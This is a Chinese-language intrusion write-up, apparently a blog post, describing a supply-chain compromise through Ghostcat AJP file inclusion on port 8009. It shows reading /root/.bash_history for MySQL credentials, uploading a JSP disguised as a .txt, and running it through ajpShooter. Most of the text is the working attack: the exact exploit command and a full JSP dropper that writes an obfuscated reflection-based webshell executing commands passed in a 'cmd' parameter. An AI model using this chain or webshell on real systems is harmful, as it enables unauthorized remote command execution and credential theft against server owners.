
lalala
记一次AJP文件包含导致的供应链失陷
第一步还是简单的信息搜集,通过ARL扫描整个链子,发现在某个IP存在8009协议并且开启了ajp服务
,可能存在文件包含。
遂利用工具进行测试
确实存在文件包含
因为该站点为java站点,所以权限很高,尝试读取/root/.bash_history
文件
获取到mysql的帐号和密码
因为该服务器有开放3306端口,遂通过navicat进行连接,获取到该系统的帐号和密码
接下来就是通过登录到后台,将木马的jsp代码放入在txt中,上传后再通过ajp进行包含运行
上传后得到的文件路径为 /admin/upload/*/*/*.txt
https://github.com/00theway/Ghostcat-CNVD-2020-10487
ajp文件包含利用工具
python.exe .\ajpShooter.py http://xx.xx.xx.xx 8009 /admin/upload/*/*/*.txt eval
包含的jsp代码功能为在当前目录写出一个木马
<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" %>
<html>
<head>
<title>写入文本</title>
</head>
<body>
<%
String content = "\u003c\u0025 String A9U5H = request.getParameter(\"cmd\"); if(A9U5H!=null){Class<?> CS67 = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));java.lang.reflect.Method Eje027vN = CS67.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);Object GYVzlJ71 = Eje027vN.invoke( CS67.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{A9U5H});java.lang.reflect.Method Qd5n = GYVzlJ71.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));Qd5n.setAccessible(true);java.util.Scanner s = new java.util.Scanner((java.io.InputStream) Qd5n.invoke(GYVzlJ71, new Object[]{})).useDelimiter(\"\\\\A\");String result = s.hasNext() ? s.next() : \"\";out.print(\"<pre>\");out.print(result);out.print(\"</pre>\");}else{} \u0025\u003e";
String fileName = "lalala.jsp";
try {
// 获取当前目录路径
String currentDir = application.getRealPath("/");
// 构造文件对象
File file = new File(currentDir, fileName);
// 创建文件输出流
FileOutputStream fos = new FileOutputStream(file);
// 创建写入器
OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8");
// 创建缓冲区写入器
BufferedWriter bw = new BufferedWriter(osw);
// 写入文本内容
bw.write(content);
// 关闭写入器
bw.close();
out.println("文本写入成功!");
} catch (IOException e) {
out.println("文本写入失败:" + e.getMessage());
}
%>
</body>
</html>
生成后访问/lalala.jsp?cmd=whoami
成功getshell
更新于: 2023年12月23日 11:21
1306
0